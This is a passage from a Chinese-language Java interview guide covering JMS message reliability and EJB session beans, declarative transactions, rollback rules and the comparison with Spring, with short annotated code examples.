三种:AUTO_ACKNOWLEDGE 在消息送达消费者后自动确认,处理失败会丢消息;CLIENT_ACKNOWLEDGE 由业务代码在处理成功后调用 acknowledge(),能真正避免丢失,是推荐模式;DUPS_OK_ACKNOWLEDGE 延迟批量确认,性能换重复。要避免丢消息就用 CLIENT_ACKNOWLEDGE,并且消费端必须幂等。

如何保证消息不丢? ​

分三段看:生产端用持久化投递(PERSISTENT)+ 发送确认(或在事务/本地消息表内发送);Broker 端开启持久化存储与主从/副本;消费端在处理成功后再确认,并配合重试与死信队列兜底。三段缺任何一段,消息都可能在对应环节丢失——只做其中一段往往给人「已经可靠了」的错觉。

消息重复怎么处理? ​

重复是「至少一次」投递语义的必然结果,正确做法是消费端幂等而非要求不重复:用业务唯一键(订单号 / 消息 ID)建唯一索引或去重表,或用状态机限制流转(如只允许「待支付 → 已支付」一次),使重复执行的结果与执行一次一致。

JMS 事务能保证数据库和消息的一致性吗? ​

不能。JMS 的事务只覆盖消息的发送与确认,不跨数据库。要保证「数据库写入成功且消息发出」需要额外机制:本地消息表(与业务同库同事务,再异步投递)、事务消息(两阶段提交的半消息方案),或接受最终一致并用对账补偿。

为什么新项目多用 RocketMQ/Kafka 而不是 JMS? ​

JMS 是接口规范,性能与扩展性受具体实现限制,且规范本身演进缓慢。RocketMQ、Kafka 虽不实现 JMS 接口,但提供了更高的吞吐、更好的水平扩展、事务消息与流式处理能力,同时生态(监控、运维、客户端)更完善。不过它们的消息模型、确认语义与 JMS 一脉相承,理解 JMS 有助于快速掌握它们。

EJB ​

EJB(Enterprise JavaBeans)是 Java EE 中承载业务逻辑的分布式组件模型。它曾经是 Java EE 的核心与代名词,也曾经因为「写一个 Hello World 要一堆接口和描述符」而声名狼藉。理解 EJB 的意义在于两点:声明式事务、容器托管组件这两个今天仍在使用的思想由它确立;而 Spring 之所以流行,正是因为用 POJO 重新实现了同样的能力。

EJB 是什么 ​

EJB 不是一个「类」,而是一类由容器托管的业务组件,运行在 EJB 容器中(WildFly、WebLogic、WebSphere 等完整 Java EE 应用服务器)。

容器为 EJB 提供的横切能力:

能力说明
生命周期管理实例创建、池化、销毁由容器负责,开发者不写 new
声明式事务加注解即自动开启/提交/回滚事务
安全管理基于角色的方法级权限,由容器拦截
并发与线程容器保证单线程访问,开发者不必处理并发
远程调用自动生成 Stub,支持远程访问
资源注入数据源、JMS、其他 EJB 通过注解注入

EJB 的「单线程模型」是一条硬约定:容器保证任一时刻只有一个线程在执行某个 EJB 实例的方法。因此 EJB 里可以安全地把状态放在成员变量上(这也是 Stateful Bean 成立的前提),不需要自己加锁。这与 Servlet「单实例多线程」的模型正好相反。

三次版本演进 ​

EJB 的历史就是「如何把复杂的东西变简单」的历史,也是它被 Spring 取代的过程:

版本关键变化开发者感受
EJB 2.x组件必须继承容器基类、实现多个接口,还要写部署描述符极重,无法脱离容器单测
EJB 3.0引入注解(@Stateless 等);POJO + 接口;用 JPA 取代 Entity Bean;支持依赖注入明显简化,但生态已被 Spring 占据
EJB 3.1+支持无接口 Bean(@LocalBean)、异步方法、单例 Bean、可嵌入容器(便于测试)追上 Spring,时机已晚

三种 Bean ​

EJB 3.x 有三种业务 Bean(原来的 Entity Bean 已被 JPA 取代,不再是 EJB):

类型注解实例与状态典型用途
无状态会话 Bean@Stateless池化多实例,无状态业务服务、事务边界(最常用)
有状态会话 Bean@Stateful每客户端一实例,有状态购物车、多步向导
单例会话 Bean@Singleton全局唯一,有状态缓存、全局配置、启动初始化
消息驱动 Bean@MessageDriven池化多实例,无状态异步消费 JMS 消息

无状态会话 Bean 是最常用的一种,池化复用、性能最好:

java
@Stateless
public class OrderService {

    @PersistenceContext
    private EntityManager em;           // 容器注入,事务内自动管理

    @Resource
    private DataSource dataSource;      // 按名字注入资源

    public Order create(OrderRequest req) {
        Order order = new Order(req);
        em.persist(order);
        return order;
    }
}

无状态 Bean 的「无状态」指的是不保存与特定客户端相关的会话状态,不是「不能有字段」。容器会把同一个实例轮流给不同客户端使用,所以成员变量里绝不能放用户数据——这与 Servlet 的线程安全问题同源,只是 EJB 用池化替代了并发调用。

有状态会话 Bean 为每个客户端维护独立实例,实例会被容器「钝化」(序列化到磁盘)与「激活」(恢复到内存)以节省资源:

java
@Stateful
public class ShoppingCartBean implements ShoppingCart {

    private final List<Item> items = new ArrayList<>();   // 属于某一个客户端

    @Override
    public void add(Item item) { items.add(item); }

    @Override
    public List<Item> list() { return List.copyOf(items); }

    @Remove                                            // 调用后容器销毁实例
    public void checkout() { /* 下单 */ }
}

因为需要钝化/激活,有状态 Bean 的字段必须可序列化,且实例不能过多——这也是它使用较少的原因。

单例会话 Bean 全局唯一,常用于缓存与启动初始化,并发访问需要 @Lock 控制:

java
@Singleton
@Startup                                   // 应用启动时立即创建
public class ConfigCache {

    private final Map<String, String> cache = new ConcurrentHashMap<>();

    @PostConstruct
    public void load() { /* 启动时加载配置 */ }

    @Lock(LockType.READ)                   // 默认是 WRITE,读多写少时改为 READ 提升并发
    public String get(String key) { return cache.get(key); }
}

消息驱动 Bean 是 JMS 的消费者封装,由容器管理并发与事务:

java
@MessageDriven(activationConfig = {
    @ActivationConfigProperty(propertyName = "destinationType", propertyValue = "javax.jms.Queue"),
    @ActivationConfigProperty(propertyName = "destination", propertyValue = "queue/order.created")
})
public class OrderMessageBean implements MessageListener {

    @Override
    public void onMessage(Message message) {
        // 收到消息即在一个容器管理的事务中执行
    }
}

声明式事务 ​

EJB 确立的最有价值的思想:事务不由业务代码控制,而由容器根据元数据在方法边界处自动处理。

java
@Stateless
public class TransferService {

    @TransactionAttribute(TransactionAttributeType.REQUIRED)   // 默认值
    public void transfer(Long from, Long to, BigDecimal amount) {
        accountDao.debit(from, amount);
        accountDao.credit(to, amount);
        // 正常返回 → 容器提交;抛 RuntimeException → 容器回滚
    }
}

六种事务属性,覆盖了所有「方法被调用时已有事务该怎么办」的情形:

属性已有事务时无事务时适用场景
REQUIRED加入新建默认,绝大多数业务方法
REQUIRES_NEW挂起原有,新建新建必须独立提交/回滚(如日志记录)
SUPPORTS加入不开启可选事务的查询
NOT_SUPPORTED挂起原有不开启明确不能有事务的操作
MANDATORY加入抛异常强制要求调用方开启事务
NEVER抛异常不开启禁止事务

回滚规则要特别记住:默认只有 RuntimeException 和 Error 触发回滚,受检异常不会。需要受检异常也回滚时必须显式声明:

java
@TransactionAttribute(TransactionAttributeType.REQUIRED)
@ApplicationException(rollback = true)      // 受检异常也回滚
public void doWork() throws BizException { /* ... */ }

「事务为什么不回滚」的根因几乎都在这里:受检异常默认不回滚、异常被 try-catch 吞掉、或者自调用(this.method())绕过了容器代理。Spring 的 @Transactional 语义与 EJB 完全一致——它继承了 EJB 的事务属性定义,包括这条默认回滚规则。

为什么被 Spring 取代 ​

EJB 在技术上并非失败,它输在开发体验与生态:

维度EJBSpring
组件模型必须运行在 EJB 容器中POJO,普通 Java 对象
单元测试早期必须依赖容器(后期有嵌入式容器改善)直接 new 或轻量容器,无需容器
AOP仅容器提供的有限能力完整的 AOP,可自定义切面
编程模型规范驱动,改动受 JSR 流程约束库驱动,版本迭代快
依赖注入@EJB / @Resource(仅容器资源)@Autowired,任意 Bean
java
// EJB 写法:容器托管,事务靠注解
@Stateless
public class OrderService { /* ... */ }

// Spring 写法:普通 POJO,能力等价
@Service
public class OrderService { /* ... */ }

关键差异不在功能列表,而在可测试性:POJO 意味着业务逻辑可以在普通 JVM 里跑测试,不需要启动应用服务器。这一点在持续集成的时代是决定性的。

后续的故事是相互吸收:EJB 3.x 借鉴了 Spring 的 POJO 与注解思路;Spring 也实现了 JSR-330(@Inject)与 JSR-250(@Resource)等 Java EE 标准注解,甚至提供了 EJB 的调用代理(@EJB 支持)。所以面试里问 EJB,重点不在「EJB 有哪些类型」,而在「它的哪些思想存活到了今天」。

相关知识 ​

  • JPA:取代了 EJB 2.x 的 Entity Bean。Hibernate 是 JPA 最流行的实现,Spring Data JPA 在其之上再封装。
  • JTA:EJB 容器管理的分布式事务 API,跨多个资源(数据库 + 消息队列)提交。
  • JMS:消息驱动 Bean 的底层规范,见 JMS。
  • JNDI:EJB 的查找入口,见 JNDI。

面试问答 ​

EJB 和 Spring 的关系是什么? ​

Spring 的出现很大程度上是为了替代 EJB:用普通 POJO + 注解 + AOP 实现了 EJB 提供的容器托管、声明式事务、声明式安全等能力,同时摆脱了对重量级应用服务器的依赖,使业务逻辑可以脱离容器进行单元测试。后来两者互相借鉴——EJB 3.x 引入了 POJO 与注解,Spring 也支持了 Java EE 的标准注解(@Resource、@Inject)。

Session Bean 有哪几种,区别是什么? ​

三种:无状态(@Stateless)不保存客户端状态,实例池化复用,性能最好,最常用;有状态(@Stateful)为每个客户端维护独立实例,可被容器钝化/激活,适合购物车这类多步会话;单例(@Singleton)全局唯一,适合缓存与启动初始化,并发访问需用 @Lock 控制。它们的共同点是由容器管理生命周期,且容器保证单线程访问。

EJB 的事务属性和 Spring 的一样吗? ​

语义完全一致,Spring 的传播行为定义直接继承了 EJB:REQUIRED(默认) 加入或新建、REQUIRES_NEW 挂起原有并新建、SUPPORTS、NOT_SUPPORTED、MANDATORY、NEVER。回滚规则也相同:默认只有 RuntimeException 与 Error 触发回滚,受检异常需要显式声明(EJB 用 @ApplicationException(rollback = true),Spring 用 @Transactional(rollbackFor = ...))。

Entity Bean 去哪了? ​

EJB 2.x 的 Entity Bean 把数据库行映射成容器管理的对象,但它依赖容器、无法脱离应用服务器测试,且 ORM 能力远逊于 Hibernate。EJB 3.0 用 JPA 规范取代了它,Entity Bean 不再是 EJB 的一部分。所以「EJB 的实体 Bean」在今天应理解为「JPA 实体」,实现框架通常是 Hibernate,再由 Spring Data JPA 提供仓储抽象。

为什么说 EJB 的线程模型和 Servlet 相反? ​

Servlet 是单实例多线程:一个实例被多个请求线程并发调用,所以成员变量有线程安全问题;EJB 是实例池 + 容器保证单线程访问:任一实例同一时刻只被一个线程执行,所以可以有状态、可以放心用成员变量(有状态 Bean 正是靠这一点成立)。理解这个差异,两类组件的「能不能写成员变量」就不再是靠记忆的结论了。